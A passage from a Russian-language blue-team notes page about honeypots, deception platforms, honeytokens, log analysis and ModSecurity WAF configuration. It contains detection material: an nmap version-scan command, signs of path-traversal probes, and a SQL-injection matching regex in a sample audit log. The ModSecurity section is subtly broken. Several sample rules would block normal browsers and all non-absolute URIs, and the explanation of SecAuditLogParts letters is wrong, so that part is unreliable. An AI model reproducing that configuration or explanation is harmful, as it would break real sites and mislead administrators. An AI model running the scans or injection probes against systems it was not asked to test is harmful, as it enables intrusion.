свои ответы с помощью Python на уровне протокола HTTP, чтобы имитировать ответы серверов Apache/Tomcat. Для более гибкой настройки требуется изменение исходного кода обработчиков запросов. **Honeypot-системы для сетевых** **протоколов:** - **[DDoSPot](https://github.com/aelth/ddospot)** — honeypot для отслеживания и мониторинга атак распределенного отказа в обслуживании (DDoS) на основе UDP. В настоящее время платформа поддерживает следующие службы/серверы-приманки: NTP-сервер, SSDP-сервер, CHARGEN-сервер, Mock-UDP-сервер. - **[HoneySMB](https://github.com/rosehgal/HoneySMB)** — honeypot с высоким уровнем взаимодействия для эмуляции работы SMB-сервера. - **[Conpot](https://github.com/mushorg/conpot)** — это приманка для АСУ ТП, целью которой является сбор информации о мотивах и методах злоумышленников, нацеленных на системы промышленного управления. Поддерживает распространенные протоколы, используемые на устройствах АСУ ТП: IEC104, http, ftp, tftp, modbus, snmp. - [**CiscoASA Honeypot**](https://github.com/cymmetria/ciscoasa_honeypot) — honeypot с низким уровнем взаимодействия для компонента Cisco ASA, способен обнаруживать попытки эксплуатации CVE-2018-0101, уязвимости DoS и удаленного выполнения кода. - **[Kippo](https://github.com/desaster/kippo)** — SSH-honeypot среднего взаимодействия, предназначен для регистрации bruteforce атак и, что наиболее важно, всего взаимодействия с SSH-оболочкой, выполняемого злоумышленником. - **[Cowrie](https://github.com/cowrie/cowrie)** — honeypot для SSH и Telnet со средней и высокой степенью взаимодействия, предназначенная для регистрации bruteforce атак и взаимодействия с SSH-оболочкой, выполняемого злоумышленником. В режиме среднего взаимодействия (SSH-оболочка) он эмулирует систему UNIX на Python, в режиме высокого взаимодействия (прокси) он функционирует как прокси-сервер SSH и telnet для наблюдения за поведением злоумышленника в системе. **[Honeypots](https://github.com/qeeqbox/honeypots)** — представляет собой модуль Python, который содержит honeypot’ы низкого уровня взаимодействия. Логирование данных о взаимодействии злоумышленника с узлом происходит в одном из поддерживаемых форматов: терминал, syslog, Postges, sqlite. В таблице ниже приведен список сервисов, эмулируемых данным средством.
**Эмулируемый сервис** **Порт** **Логируемые данные о злоумышленнике**
DNS 53/udp IP-адрес, порт
FTP 21/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
HTTP Proxy 8080/tcp IP-адрес, порт, данные в рамках сеанса
HTTP 80/tcp IP-адрес, порт, данные в рамках сеанса
HTTPS 443/tcp IP-адрес, порт, имя пользователя и пароль
IMAP 143/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
Mysql 3306/tcp IP-адрес, порт, имя пользователя и пароль
POP3 110/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
Postgres 5432/tcp IP-адрес, порт, имя пользователя и пароль
Redis 6379/tcp IP-адрес, порт, имя пользователя и пароль
SMB 445/tcp IP-адрес, порт, имя пользователя и пароль
SMTP 25/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
SOCKS5 1080/tcp IP-адрес, порт, имя пользователя и пароль
SSH 22/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
Telnet 23/tcp IP-адрес, порт, имя пользователя и пароль
VNC 5900/tcp IP-адрес, порт, имя пользователя и пароль
Elastic 9200/tcp IP-адрес, порт, действия в рамках сеанса
LDAP 389/tcp IP-адрес, порт, имя пользователя и пароль
NTP 123/udp IP-адрес, порт, действия в рамках сеанса
Memcache 11211/tcp IP-адрес, порт, действия в рамках сеанса
Oracle 1521/tcp IP-адрес, порт, имя пользователя и пароль
SNMP 161/udp IP-адрес, порт, действия в рамках сеанса
SIP 5060/udp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
IRC 6667/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
PJL 9100/tcp IP-адрес, порт, действия в рамках сеанса
IPP 631/tcp IP-адрес, порт, действия в рамках сеанса
RDP 3389/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
DHCP 67/udp IP-адрес, порт
**[Dionaea](https://github.com/DinoTools/dionaea)** — honeypot на базе Python-модулей, реализующих имитацию работы протоколов. В отличие от honeypots является ловушкой среднего уровня взаимодействия. Некоторые из модулей предоставляют злоумышленнику ограниченный функционал соответствующего протокола. В таблице ниже приведен список сервисов, эмулируемых данным средством.
**Эмулируемый сервис** **Порт** **Логируемые данные о злоумышленнике**
FTP 21/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
HTTP 80/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
Memcache 11211/tcp IP-адрес, порт, действия в рамках сеанса
MongoDB 27017/tcp IP-адрес, порт, действия в рамках сеанса
MSSQL 1433/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
MySQL 3306/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса (эмуляция на уровне БД с помощью sqlite)
SIP 5060/udp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
SMB 445/tcp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
TFTP 69/udp IP-адрес, порт, имя пользователя и пароль, действия в рамках сеанса
[**T-Pot**](https://github.com/telekom-security/tpotce) — представляет собой honeypot-систему, в которой собран функционал описанных выше средств. Тяжеленная хрень. Содержит большое количество средств визуализации информации о взаимодействии с системой злоумышленников, а также множество инструментов безопасности. Данная honeypot-система включает в себя описанные выше средства. Разворачивание каждого из эмулируемых сервисов происходит при помощи средств контейнеризации. Для эмуляции системы, позволяющей выявлять активность злоумышленника в сети по популярным сетевым протоколам, рекомендуется использовать T-Pot. Инструкция по установке T-Pot: - В ОС Debian 11 от имени root ```bash sudo apt install -y git git clone https://github.com/telekom-security/tpotce cd tpotce ./install.sh ``` - Выбрать конфигурацию T-Pot: Standard, установить имя пользователя и пароль для веб-интерфейса. После успешной установки произойдет перезагрузка ОС. После перезагрузки порт, прослушиваемый службой SSH, изменится на 64295. - Отключить отправку пользовательских данных на серверы T-Pot: ``` systemctl stop tpot # Открыть конфигурационный файл /opt/tpot/etc/tpot.yml и удалить из него секцию: # Ewsposter service   ewsposter:     container_name: ewsposter     restart: always     networks:      - ewsposter_local     environment:      - EWS_HPFEEDS_ENABLE=false      - EWS_HPFEEDS_HOST=host      - EWS_HPFEEDS_PORT=port      - EWS_HPFEEDS_CHANNELS=channels      - EWS_HPFEEDS_IDENT=user      - EWS_HPFEEDS_SECRET=secret      - EWS_HPFEEDS_TLSCERT=false      - EWS_HPFEEDS_FORMAT=json     env_file:      - /opt/tpot/etc/compose/elk_environment     image: "dtagdevsec/ewsposter:2203"     volumes:      - /data:/data      - /data/ews/conf/ews.ip:/opt/ewsposter/ews.ip systemctl start tpot ``` Для проверки корректности установки системы необходимо перейти в директорию tpotce/bin и выполнить shell-скрипт ./dps.sh. - Веб-интерфейс доступен на порту 64297 и содержит ссылки на панели управления основными компонентами системы. Панели инструментов:
Attack Mapкарта с информацией о запросах, фиксируемых сервисами.
Cockpitweb-панель управления ОС, на которой установлен T-Pot.
Cyberchefweb-приложение для анализа сжатых/закодированных данных.
Elasticvueweb-интерфейс для взаимодействия с подсистемой Elasticsearch.
Spiderfootинструмент для автоматизации OSINT.
Kibanaпанели с визуализацией данных, получаемых каждым из honeypot’ов.
**Deception-технология** - методы активного обмана злоумышленников с применением специальных ловушек, приманок и других приемов дезинформации. Применение таких методов внутри корпоративной сети позволяет рано обнаруживать целенаправленные атаки, которые могли быть упущены предупредительными мерами, такими как брандмауэры, системы предотвращения вторжений и антивирусные программы. Хотя термин "Deception" относительно новый, основная концепция этой технологии основана на принципе Honeypot-систем, но с более высоким уровнем реализации, возможностями масштабирования и автоматизации. **Deception-платформы** представляют собой централизованные системы управления, которые создают, распространяют и управляют всей эмулируемой средой и связанными с ней компонентами архитектуры. Эти компоненты могут включать рабочие станции, серверы, устройства, приложения, сервисы, протоколы, элементы данных или пользователей, которые часто виртуализируются и практически неотличимы от реальных активов. Они используются в качестве приманки для привлечения и обнаружения злоумышленников. Отличительной особенностью Distributed Deceptive Platform (DDP) от Honeypot (Honeynet) является наличие распределенных систем, то есть при разворачивании таких систем, как правило, используются технологии виртуализации ВМ с возможностью централизованного управления ими. Разворачивание узлов может производиться автоматизировано с повторением корпоративной специфики компании. Ниже приведена сравнительная таблица с продуктами, реализующими технологию DDP.
**ACALVIO Shadowplex** **ATTIVO NETWORKS ThreatDefend Platform** **COUNTERCRAFT Cyber Deception Platform** **Cybertrap Cybertap** **CYMME TRIA’S MazeRunner** **FIDELIS Elevate** **Illusion Black** **XELLO**
**SIEM Интеграция** + + + + +
**API** Наличие открытого API для интеграции + REST API REST API Наличие открытого API для интеграции + REST API Наличие открытого API для интеграции + REST API
**Возможности анализа ВПО** Интеграция Sandbox Интеграция Sandbox
**Интеграция с промышленными системами** SCADA IoT POS SCADA IoT IoT IoT
**Корреляция результатов** SIEM интеграция + встроенные средства корреляции SIEM интеграция + встроенные средства корреляции Встроенные средства корреляции Встроенные средства корреляции SIEM интеграция + встроенные средства корреляции SIEM интеграция IEM интеграция + встроенные средства корреляции
**Тип эмуляции ловушек** Ловушки на базе полноценной ОС + наличие эмулированных сенсоров Ловушки на базе полноценной ОС + наличие эмулированных сенсоров Ловушки на базе полноценной ОС Ловушки на базе полноценной ОС Ловушки на базе полноценной ОС + наличие эмулированных сенсоров Наличие эмулированных сенсоров Ловушки на базе полноценной ОС + наличие эмулированных сенсоров Ловушки на базе полноценной ОС
**Этапы обнаружения атак** Разведка Боковое движение Эксфильтрация Разведка Боковое движение Эксфильтрация Разведка Боковое движение Разведка Боковое движение Эксфильтрация Разведка Боковое движение Эксфильтрация Разведка Боковое движение Эксфильтрация Разведка Боковое движение Эксфильтрация Боковое движение Эксфильтрация
**Deception-токены (эмулируемые ОС)** Windows Windows Linux Mac Windows Windows Windows Windows Windows Windows Linux
**Обнаружение командных центров,** **MITM** **и бот-сетей** - Обнаружение командных центров + Обнаружение атак MITM + ботнетдетектор Обнаружение атак MITM Обнаружение командных центров + ботнетдетектор
**EDR** + +
**Active Directory** + + + + +
**База данных** + + + + +
**Общий сетевой ресурс** + + + +
# Обнаружение на периметре. ## **Honeytoken** Honeytoken — ложная информация в системе или на сайте компании для привлечения внимания и определения факта НСД. Может быть в виде фиктивных учетных записей или файлов, содержащих ложную информацию. Часто являются компонентом honeypot-систем. Последовательность размещения: - Создание Honeytoken в зависимости от эмулируемых данных (например, поддомен организации). - Размещение на ресурсе внешнего периметра организации (в случае с OSINT). Например, поддельные учетные данные, используемые удаленного доступа к высокочувствительным ресурсам размещаются в обсуждении на форуме. - Систему управления Honeytoken связывают с системой обнаружения вторжений (IDS) или платформой управления информационной безопасностью и событиями безопасности (SIEM) или просто почта/мессенджеры. - После срабатывания оповещения вступает в силу план реагирования на инциденты организации. - Данные, собранные в результате анализа события, используются для принятия мер безопасности. Направления использования Honeytoken дают представление о частях сети, подвергающихся наибольшему риску, а также о типах инструментов, необходимых для защиты этих областей. **Настройка получения уведомлений о проведении OSINT** При проведении OSINT пытаются получить следующие данные: - Доменные имена, которые принадлежат организации; - Почтовые адреса сотрудников; - Социальные сети организации и ее сотрудников; - Исходный код из репозиториев в системах контроля версий. Каждый из этих информационных ресурсов возможно эмулировать и размещать в открытых источниках. **DNS Canarytoken** Механизм обнаружения НСД к DNS-серверам. Это уникальный DNS-запрос, который не должен быть использован нормальными пользователями или приложениями. Если кто-то попытается использовать этот запрос, это будет сигналом о возможной атаке. DNS Canarytoken может быть размещен на DNS-сервере или в зоне DNS-имен и может быть настроен для определенных типов DNS-запросов или для всех запросов. Поиск поддоменов третьего уровня — одно из действий при проведении OSINT. Самые распространенные префиксы попадают в словари утилит для поиска поддоменов. Регистрируем неиспользуемый поддомен, содержащийся среди ключевых слов сканеров и при доступе к которому будет происходить оповещение об обращении к нему. Данный функционал реализован в [Canarytokens](https://github.com/thinkst/canarytokens-docker). Уведомления об обращении присылаются на почтовый адрес, возможны webhook'и мессенджеров. Настройка осуществляется при помощи файла окружения. В [Knary](https://github.com/sudosammy/knary) поддерживаются следующие сервисы для оповещения: Discord, Slack, Microsoft Teams, Pushover, Lark, Telegram. **E-mail адреса** Обычно почтовые адреса аналогичны домену организации. Регистрируют поддельный e-mail. При выявлении деятельности (спам-рассылка, множественные попытки входа, использование почтового адреса в качестве логина при аутентификации, запросы к БД, содержащие сгенерированный e-mail) система обнаружения генерирует уведомление. **Репозитории Git** Часто в оставленных в публичном доступе репозиториях присутствуют API-токены доступа ко внутренним сервисам организации. Им могут пользоваться. Эмуляция и отслеживание аномальной активности, связанной с поддельным токеном (или даже целым endpoint’ом) выявляет факт компрометации исходного кода. Для автоматизации и эффективного отслеживания деятельности злоумышленника на внешнем периметре компании можно использовать средство [«Manuka»](https://github.com/spaceraccoon/manuka), которое представляет собой агрегатор указанных выше методик по созданию honeytoken’ов. Также для обнаружения OSINT’a возможно разворачивание средства T-Pot на внешнем периметре. Данное средство представляет собой сборку популярных honeypot-систем, эмулирующих отдельные сервисы (в т.ч. и DNS-серверы). ## **Анализ логов** Анализ логов выявляет подозрительные действия, указывающие на попытку проникновения. Можно определить: - источник атаки (IP, устройства и т.д.) - серьезность угрозы - были ли предприняты какие-либо действия для компрометации системы **Основные файлы журналов в Linux-системах** Текущая схема журналирования в Debian: ``` [Программы] → journald → (опционально) rsyslog → /var/log/*.log ``` [Подробнее о логах.](http://bobrobotirk.ru/books/linux/page/loggirovanie "Логгирование") rsyslog по умолчанию не установлен. Список журналов:
rsyslog/journaldлоги, генерируемые менеджером
kernel.logлоги ядра ОС
audit.logлоги ядра, которые пишет auditd, если он настроен
auth.log/secureжурнал событий безопасности
Логи приложенийнапример, веб-севера, БД или прочих
Файлы журналов различаются в разных ОС. Например, логи событий для команд sshd, sudo и прочих действий, связанных с безопасностью в Ubuntu, находятся в /var/log/auth.log, а в CentOS в /var/log/secure. Также, файлы менеджера журналирования находятся в /var/log/syslog для Ubuntu, а в CentOS - /var/log/messages. **Daemon (демоны) в системах Linux** Демон Syslog Менеджер журналов. Есть Nxlog и Syslog-NG, но Syslog наиболее распространен. Задача Syslog — прием событий от локальных служб, обработка, запись их в файлы журналов /var/log или пересылка событий по сети. Виды Syslog: - Syslog как менеджер журналов; - Syslog как сетевой протокол передачи данных; - Syslog как формат предоставления данных. Обычно приложения отправляют события менеджеру журналов в своем формате, и для удобства чтения логов из разных источников эти сообщения нужно стандартизировать. **Веб-серверы и языки сценариев** Веб-сервер Nginx У Nginx есть один главный и несколько рабочих процессов. Основная задача главного процесса — чтение и проверка конфигурации и управление рабочими процессами, которые выполняют фактическую обработку запросов. Конфигурация Nginx разделяется на виртуальные серверы (директива «server»). Виртуальные серверы, в свою очередь, разделяются на location. Для виртуального сервера возможно задать адреса и порты, на которых будут приниматься соединения. Конфигурационный файл nginx.conf, каталоге /usr/local/nginx/conf, /etc/nginx или /usr/local/etc/nginx. При работе Nginx ведет два файла журналов - access.log и error.log. Первый отвечает за журналирование успешно обработанных запросов клиентов, второй - за журнал ошибок. (access\_log и error\_log). По умолчанию Nginx имеет следующий формат логов: - $remote\_addr – IP адрес источника, с которого был сделан запрос; - $remote\_user – пользователь, прошедший HTTP-аутентификацию; - \[$time\_local\] – время посещения в часовом поясе сервера; - “$request” – тип HTTP-запроса, запрошенный путь без аргументов и версия HTTP; - $status – код ответа от сервера; - $body\_bytes\_sent– размер ответа сервера в байтах; - “$http\_referer” – URI страницы, с которой пользователь сделал запрос; - “$http\_user\_agent” – user-агент; Сортировка лога по коду ответа: cat access.log | cut -d '"' -f3 | cut -d ' ' -f2 | sort | uniq -c | sort -rn Найти запросы, которые получили в ответ 404 ошибку, и отсортировать по числу запросов на URL: awk '($9 ~ /404/)' access.log | awk '{print $7}' | sort | uniq -c | sort -rn Список IP, с которых идут запросы к конкретному url: awk -F\\" '($2 ~ "/wp-admin/install.php"){print $1}' access.log | awk '{print $1}' | sort | uniq -c | sort -r Список самых популярных URL: awk -F\\" '{print $2}' access.log | awk '{print $2}' | sort | uniq -c | sort - В Elasticsearch для работы с такими логами удобно использовать фильтр event.category: "web". Также, для быстрого доступа к нужным данным можно выбрать интересующие аналитика поля в левой части в разделе Selected Fields, и нажав на значок "+" рядом с именем поля. **Обнаружение перечисления веб-сервера (Enumeration)** Обычно на фазе подготовки производят перечисление (enumeration) веб-сервера. В случае веб атак интересуют доступные URL, версия веб-сервера и установленные интерпретаторы. Для определения ОС и версии Nginx сервера, воспользуемся инструментом Nmap. Для определения версий ПО ключ -sV. ``` nmap ip_addr -sV ``` При сканировании Nmap добавляет в заголовки запросов записи (поэтому нужно менять user-agent), позволяющие его идентифицировать. Обнаружить перебор директорий по логам веб-сервера происходит с помощью контроля всплеска запросов с ответом от сервера 404 - Not found. Также в запросах подставляется несуществующий или устаревший User-agent, в нашем случае мы видим Mozilla/4.0 для Windows NT. **Обнаружение атаки Local File Inclusion** В логах обращений к веб-серверу будет запись вида ../../ В SIEM. применим следующие фильтры: event.category: process; event.code: 1 - Sysmon event 1 описывает событие создания нового процесса; winlog.event\_data.ParentUser: www-data - нас интересуют процессы, запускаемые от пользователя www-data; Поскольку Sysmon изначально был написан для Windows, некоторые системы используют уже работающие для Windows модули для импорта логов. Пусть вас не смущает Winlog в названии поля, в нашем случае это поле описывает пользователя-родителя процесса в Linux-системе. event.module: sysmon\_linux - нас интересуют логи Sysmon for Linux. **Анализ логов Linux** Инцидент повышения привилегий является серьезным инцидентом безопасности. При подозрении важно провести углубленное расследование. Признаками повышения привилегий могут являться вредоносное ПО в конфиденциальных системах, подозрительные входы в систему и необычные сетевые соединения, срабатывания систем EDR, NIDS, DLP итд. С позиции Blue Team-специалиста, такие инструменты как LinPEAS генерируют большое количество событий подряд (запуск команд для работы с текстовыми данными grep), не характерное для работы человека, занимающимся фильтрацией данных. Определения всплеска такой активности может помочь с обнаружением. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/NxQimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/NxQimage.png) **Web-shell.** Самым простой - восстановление сайта из резервной копии и последующее устранение уязвимостей, которые привели к компрометации. Альтернативный способ — сравнить имеющиеся на сервере файлы с оригиналами, или настроить File Integrity monitoring (FIM). FIM — это способ контроля целостности файлов. Программа с некоторой периодичностью создает контрольные суммы файлов системы, и сравнивает их с предыдущими значениями. Если контрольная сумма изменилась — значит файл был изменен, и программа запишет это событие в лог. Из Open-source решений, которые делают FIM можно выделить три самых популярных: - Auditbeat’s File Integrity Monitoring: [Auditbeat’s File Integrity Monitoring](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html) - Auditd: [Auditd](https://www.redhat.com/sysadmin/configure-linux-auditing-auditd) - Wazuh’s File Integrity Monitoring: [Wazuh’s File Integrity Monitoring](https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html) ## **IDS/IPS** Для средств защиты сети, таких как IDS/IPS и WAF, основными полями для расследования в логах будут являться следующие поля: - IP-адреса источника и назначения; - Порты источника и назначения; - Используемый протокол (как минимум 4 уровня, если по какой-то причине невозможно получить данные об используемых портах - пригодится и более верхнеуровневая информация по протоколам); - Название сработавшего правила (как обсуждалось ранее, это поле "msg" в правилах Snort, Suricata или ModSecurity). Общий алгоритм анализа логов:
Сбор логовЛоги содержат информацию об обнаруженных событиях, таких как сетевые атаки, подозрительная активность или нарушения безопасности. На этом этапе система записывает данные о событиях в свои лог-файлы.
Фильтрация и предварительный анализПеред тем как начать полноценный анализ, происходит предварительная фильтрация данных. Это может включать в себя удаление дубликатов, фильтрацию по типу события, времени или другим критериям, чтобы уменьшить объем данных для более эффективного анализа.
Идентификация потенциально вредоносных событийАналитики обращают внимание на события, которые могут указывать на потенциальные вторжения или атаки. Это включает в себя анализ сигнатур, обнаружение отклонений от нормы, анализ аномалий и другие методы идентификации аномальной активности.
Классификация и приоритезация событийСобытия классифицируются по типу атаки или нарушения безопасности. Каждому событию присваивается приоритет в зависимости от потенциального воздействия на безопасность системы и данных.
Корреляция событийИногда важно анализировать события в контексте других событий. Корреляция событий позволяет выявить более сложные атаки, которые могут проявляться через несколько этапов или методов.
Анализ сетевого трафикаПри обнаружении атаки аналитики могут анализировать сетевой трафик, связанный с атакой. Это включает в себя детальный анализ пакетов, их содержимого и потоков данных для более глубокого понимания характеристик атаки.
Дополнительные проверкиДополнительные проверки могут включать в себя анализ журналов системы, анализ конфигураций уязвимых систем, а также использование внешних источников данных - то есть поиск информации в других системах, отличных от средств сетевой защиты.
Реакция и реагированиеВ зависимости от важности и типа обнаруженной атаки, принимаются меры по реагированию. Это может включать в себя блокировку атакующего IP-адреса, изменение конфигурации системы, оповещение ответственных лиц и другие меры.
Документация и отчетностьВсе обнаруженные события и предпринятые меры должны быть документированы. Это важно для дальнейшего анализа, а также для отчетности и аудита.
**open-appsec** **ModSecurity** ModSecurity — веб-брандмауэр (Web Application Firewall, WAF), в виде модуля веб-сервера. Встраивается в цикл обработки запросов и ответов веб-сервера Задачи: - Обнаруживает и блокирует SQLi, XSS, инъекции кода, и другие уязвимости веб-приложений; - Логирование событий **Компоненты:** - Rule Engine (Движок обработки правил) — компонент, ответственный за принятие решений на основе правил безопасности. - Rule Language (Язык/синтаксис правил) — специальный синтаксис, используемый для написания правил обработки входящего и исходящего трафика. - Rule Set (Набор правил) — набор заранее определенных правил безопасности, который может быть настроен и расширен под нужды конкретного приложения. ### Apache ``` sudo apt update sudo apt install apache2 libapache2-mod-security2 ``` **Активация модуля** ``` sudo ln -s /etc/modsecurity/modsecurity.conf /etc/apache2/conf-enabled/ sudo systemctl restart apache2 ``` ### Настройка ModSecurity /etc/modsecurity/modsecurity.conf. ``` # Основные настройки SecRuleEngine On SecRequestBodyAccess On SecDataDir /var/cache/modsecurity SecRequestBodyLimit 13107200 # Настройки логгирования SecDebugLog /var/log/modsec_debug.log SecDebugLogLevel 0 SecAuditEngine RelevantOnly SecAuditLogRelevantStatus "^(?:5|4(?!04))" SecAuditLogParts ABIFHZ SecAuditLogType Serial SecAuditLog /var/log/modsec_audit.log #### Правила блокировки/пропускания запросов # Правило пропускает запросы с IP адресов из whitelist SecRule REMOTE_ADDR "@ipMatchFromFile /etc/modsecurity/whitelist.conf" "phase:1,nolog,allow" # Правило разрешает метод OPTIONS SecRule REQUEST_METHOD "OPTIONS" "phase:1,nolog,allow" # Правило разрешает метод CONNECT SecRule REQUEST_METHOD "CONNECT" "phase:1,nolog,allow" # Правило запрещает использование любых методов кроме GET, HEAD и POST, и обозначает статус-код ошибки 405-ым SecRule REQUEST_METHOD "!^(GET|HEAD|POST)$" "phase:2,deny,status:405,log,msg:'Method is not allowed.'" #### Правила обнаружения атак # Правило проверяет заголовок host - есть ли в нем IP адрес SecRule REQUEST_HEADERS:Host "@rx ^\d+\.\d+\.\d+\.\d+$" "phase:1,block,log,msg:'IP address in Host header.'" # Правило проверяет используемый протокол в запросе и блокирует соединения по HTTP, выдавая 403 код ответа SecRule REQUEST_URI|REQUEST_HEADERS "!(?i:^https?://)" "phase:1,deny,status:403,id:1005,msg:'Non-HTTPS traffic not allowed.'" # Правило блокирует трафик от ботов и сканеров, определеяя их по юзер-агенту SecRule REQUEST_HEADERS:User-Agent "@pm (googlebot|bingbot)" "phase:1,deny,status:403,id:1006,msg:'Bot not allowed.'"  # Правило для блокировки запросов с неправильными Referer - Referer отличается от SERVER_NAME SecRule REQUEST_HEADERS:Referer "!@contains %{SERVER_NAME}" "phase:1,deny,status:403,id:1007,msg:'Invalid Referer.'"  # Правило блокирует запросы с неправильными Content-Type SecRule REQUEST_HEADERS:Content-Type "!@rx ^(application/x-www-form-urlencoded|multipart/form-data|text/plain)$" "phase:1,deny,status:403,id:1008,msg:'Invalid Content-Type.'" # Правило блокирует запросы с неправильным User-Agent SecRule REQUEST_HEADERS:User-Agent "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1009,msg:'Invalid User-Agent.'" # Правило блокирует запросы с неправильными Accept-Charset SecRule REQUEST_HEADERS:Accept-Charset "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1010,msg:'Invalid Accept-Charset.'" # Правило блокирует запросы с неправильным Accept-Encoding SecRule REQUEST_HEADERS:Accept-Encoding "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1011,msg:'Invalid Accept-Encoding.'" # Правило блокирует запросы с неправильным Accept-Language SecRule REQUEST_HEADERS:Accept-Language "!@rx ^[a-zA-Z0-9_.-]+$" "phase:1,deny,status:403,id:1012,msg:'Invalid Accept-Language.'"  ``` Некоторые из ключевых параметров: SecRuleEngine — определяет, включен ли ModSecurity (On - включено, Off - выключено). SecRequestBodyAccess — определяет, имеет ли ModSecurity доступ к телу запроса (On - включено, Off - выключено). SecDataDir — определяет директорию для хранения данных, таких как временные файлы и директории. SecDebugLog, SecDebugLogLevel — определяют файл и уровень журнала отладки. SecAuditEngine, SecAuditLog, SecAuditLogRelevantStatus, SecAuditLogParts — настройки для журналирования аудита. **Проверка работоспособности** Можно создать простой тестовый файл, чтобы убедиться, что ModSecurity работает. Создайте файл test.php в вашем веб-каталоге с содержимым: <?php echo "Hello, World!"; ?> Откройте этот файл в веб-браузере и убедитесь, что он доступен. Затем попробуйте создать запрос, который сработает на одном из правил ModSecurity, чтобы убедиться, что он блокирует нежелательные запросы. **анализ логов ModSecurity** Логи ModSecurity могут быть объемными и содержать различные сведения о запросах, правилах, срабатываниях и действиях, принятых модулем. Обычно логи ModSecurity находятся в каталоге, указанном в конфигурационном файле, например, /var/log/modsec\_audit.log для журнала аудита. Использование утилит для анализа логов: Для анализа логов ModSecurity вы можете использовать утилиты, такие как grep, awk, sed, cat и другие. Пример команды для просмотра последних 100 строк журнала аудита: tail -n 100 /var/log/modsec\_audit.log Фильтрация логов по определенным событиям: Используйте grep или другие инструменты для фильтрации логов по конкретным событиям. Например, для поиска срабатываний правила с ID 1001: grep 'id:1001' /var/log/modsec\_audit.log Формат логов: Включите необходимые поля в логах, используя настройки в конфигурационном файле, такие как SecAuditLogParts. SecAuditLogParts в ModSecurity — это настройка, которая определяет, какие части данных будут включены в журнал аудита (audit log). Эта настройка позволяет настраивать формат вывода логов и включать в них только необходимую информацию. Каждая часть, определенная в SecAuditLogParts, представляет собой отдельный блок данных, который может быть включен или исключен в зависимости от потребностей анализа. Пример использования SecAuditLogPart: SecAuditLogParts ABCDEFGHZ Основные части, которые можно включить в SecAuditLogParts: A - Request Headers (REQUEST\_HEADERS): Заголовки запроса B - Request Body (REQUEST\_BODY): Тело запроса C - Response Headers (RESPONSE\_HEADERS): Заголовки ответа D - Response Body (RESPONSE\_BODY): Тело ответа E - UUID (UUID): Уникальный идентификатор транзакции F - Unique ID (UNIQUE\_ID): Уникальный идентификатор запроса (например, Apache unique request ID) G - События в аудите (AUDIT\_LOG): События в формате JSON H - Примерный перевод событий в аудите (AUDIT\_LOG\_RELEVANT): Примерный перевод событий в формате JSON. Z - Завершающая строка (END): Завершающая строка для каждого запроса Использование SecAuditLogParts обеспечивает гибкость в конфигурации логирования ModSecurity, что важно при настройке системы безопасности для конкретных потребностей вашего веб-приложения. Использование инструментов для визуализации Используйте инструменты визуализации логов, такие как modsec\_audit\_log\_viewer, modsecurity-transaction-dashboard, или другие, чтобы более наглядно анализировать данные. Проверка статуса срабатывания правил При анализе логов обратите внимание на статусы срабатывания правил. Например, status:403 указывает на блокировку запроса. Использование инструментов анализа безопасности: Используйте инструменты безопасности, такие как ModSecurity-Log-Analyzer, которые специально созданы для анализа логов ModSecurity. Простой пример лога: \--eca96d83-A-- \[12/Dec/2023:15:30:45 +0000\] U9Qn8HO@ABoAAHwMnNoAAAAB 192.168.1.100 12345 192.168.1.200 80 \--eca96d83-B-- POST /example.php HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Content-Type: application/x-www-form-urlencoded Content-Length: 20 param1=value1&param2=value2 \--eca96d83-C-- HTTP/1.1 403 Forbidden Content-Length: 214 Content-Type: text/html; charset=iso-8859-1 \--eca96d83-F-- ... \--eca96d83-H-- Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\b(?:union\\s\*all|select\\s\*(?:.+)\\s\*from|create\\s\*(?:.+)\\s\*table|delete\\s\*from|drop\\s\*(?:.+)\\s\*table|exec\\s\*(?:\\w+\\s\*|\\s\*)\\(|insert\\s\*into|shutdown|update\\s\*(?:.+)\\s\*set)\\b))" at ARGS\_NAMES:param1. \[file "/etc/modsecurity/modsecurity.conf"\] \[line "21"\] \[id "1001"\] \[msg "SQL Injection attempt."\] \[severity "CRITICAL"\] \[hostname "www.example.com"\] \[uri "/example.php"\] \[unique\_id "U9Qn8HO@ABoAAHwMnNoAAAAB"\] \--eca96d83-Z-- Части логов: A - Информация о запросе, включая уникальный идентификатор события (U9Qn8HO@ABoAAHwMnNoAAAAB), IP-адрес клиента, порт клиента, IP-адрес сервера, и порт сервера. B - Содержит сам запрос, включая метод (POST), URI (/example.php), HTTP-версию, заголовки запроса и тело запроса. C - Информация о ответе сервера, включая код состояния (403 Forbidden), длину содержимого и тип контента. F - Дополнительная информация (не показана в примере). H - Лог ModSecurity, содержащий информацию о срабатывании правила. В данном случае, правило с id "1001" (SQL Injection attempt) сработало из-за обнаружения попытки SQL-инъекции в параметре param1. Z - Завершающая часть лога. **Реагирование на инциденты с использованием ModSecurity** ModSecurity предоставляет несколько методов оповещения администратора об инцидентах безопасности. Эти методы включают в себя логирование событий, отправку электронных сообщений, уведомления в системные журналы и использование внешних систем мониторинга. Вот несколько способов, как ModSecurity может делать оповещения: Логирование событий: ModSecurity создает логи событий, которые могут быть анализированы администраторами. В журналах содержится информация о срабатываниях правил, заблокированных запросах и других событиях и 